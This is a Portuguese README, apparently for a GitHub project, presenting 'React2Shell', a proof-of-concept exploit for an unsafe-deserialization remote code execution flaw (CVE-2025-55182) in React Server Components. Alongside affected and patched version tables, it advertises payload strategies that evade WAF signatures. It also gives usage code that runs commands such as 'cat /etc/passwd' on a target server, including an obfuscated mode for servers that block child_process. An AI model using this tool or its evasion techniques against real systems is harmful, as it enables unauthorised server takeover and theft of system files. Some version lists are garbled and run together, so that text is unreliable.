
React2Shell (CVE-2025-55182) exploit de prova de conceito (PoC) demonstrando uma vulnerabilidade CRÍTICA de execução remota de código (RCE) em frameworks web modernos que utilizam React Server Components (RSC).
O React2Shell é uma prova de conceito (PoC) que demonstra uma vulnerabilidade CRÍTICA de execução remota de código (RCE) em frameworks web modernos que utilizam React Server Components (RSC).
Esta PoC tem como alvo CVE-2025-55182, uma vulnerabilidade com CVSS 10.0 que permite que executem comandos arbitrários do sistema por meio de desserialização insegura na implementação dos React Server Components.
O React2Shell explora uma falha na forma como os React Server Components processam entradas não confiáveis durante a fase de reidratação.
| Métrica | Detalhes |
|---|---|
| Gravidade | CRITICAL (10.0 / 10.0) |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Vetor de Ataque | Network (Remote) |
| Interação do Usuário | None |
A vulnerabilidade tem origem nos pacotes subjacentes react-server-dom-*, responsáveis por serializar e desserializar árvores de componentes.
Aplicações que utilizam versões afetadas dos React Server Components podem processar payloads maliciosos de uma forma que leva à execução remota de código (RCE) com os privilégios do processo do servidor.
Um atacante pode:
Se a sua implantação corresponder a qualquer uma das versões vulneráveis abaixo e expuser endpoints RSC, você está vulnerável.
A vulnerabilidade está presente nas versões 19.0.0, 19.1.0, 19.1.1 e 19.2.0 de:
react-server-dom-parcelreact-server-dom-webpackreact-server-dom-turbopackEsses pacotes são incluídos em diversos frameworks, incluindo, mas não se limitando a:
15.0.0 até 16.0.614.3.0-canary.76RSC (v19.0.0–19.2.0), tais como:
ViteParcelReact RouterRedwoodSDKWakuQualquer framework que incorpore a implementação vulnerável dos React Server Components está potencialmente afetado.
O React2Shell inclui um gerador modular de payloads projetado para contornar restrições comuns do Node.js e regras de WAF:
Injeção Padrão
process.mainModule.requireNext.js / Webpack.Bypass Assíncrono
import() dinâmico para ambientes ESM estritos onde require não está disponível.Ofuscação
child_process) em buffers hexadecimais para evadir assinaturas ingênuas de WAF.Fallback de Módulo
module.createRequire para carregar módulos em contextos alternativos.Segmentação Universal
//RSC/foo.txtNode.js v18.0.0 ou superior.git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
npm install form-data
O React2Shell é destinado a ser importado como um módulo em seus próprios scripts de teste.
Crie um arquivo chamado exploit.js:
const React2Shell = require('./src/react2shell');
// Initialize with target base URL
const target = new React2Shell('http://localhost:3000');
// Execute command using the "standard" strategy
// Arguments: execute(command, endpoint, strategy)
target.execute('whoami', '/', 'standard');
Em seguida, execute:
node exploit.js
Nota
endpointdeve ser definido como uma rota habilitada para RSC (por exemplo,/,/RSC/foo.txtou endpoints RSC específicos do framework).strategypode ser alterada (por exemplo,standard,async,obfuscatedou qualquer outra estratégia implementada noreact2shell).
Waku e outros frameworks frequentemente expõem o tratamento de RSC em rotas específicas:
// Target a Waku application
// Note: Use 'async' strategy as Waku often runs in strict ESM
target.execute('ls -la', '/RSC/foo.txt', 'async');
Se o servidor bloquear strings que contenham child_process, você pode usar a estratégia obfuscated:
target.execute('cat /etc/passwd', '/', 'obfuscated');
Atualize imediatamente. As versões atualizadas do React e dos frameworks downstream afetados incluem tratamento reforçado das entradas do usuário para evitar comportamentos indesejados.
Todos os usuários devem atualizar para uma versão corrigida o mais rápido possível.
Abaixo está a lista definitiva das versões corrigidas. Se a sua versão implantada for inferior a estas, você está vulnerável.
| Software / Pacote | Branch / Tipo | 🛡️ Versão(ões) Corrigida(s) / Segura(s) |
|---|---|---|
React | Stable | 19.0.1, 19.1.2, 19.2.1 |
Next.js | v15 (Stable) | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 |
Next.js | v16 (Stable) | 16.0.7 |
Next.js | Canary | 15.6.0-canary.58 |
Aviso para usuários do Next.js 14
Se você estiver usandoNext.js 14.3.0-canary.77ou uma versão canary posterior, você estávulnerável.
Você deve fazer downgrade imediatamente para a versão estável14.xmais recente, pois a vulnerabilidade afeta a implementação experimental de RSC presente nesses builds canary.
Este projeto é fornecido apenas para fins educacionais e de testes de segurança autorizados.
Usar esta ferramenta contra sistemas sem permissão explícita é ilegal e antiético.
O(s) autor(es) não assume(m) nenhuma responsabilidade por qualquer uso indevido ou dano causado por esta ferramenta.
Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.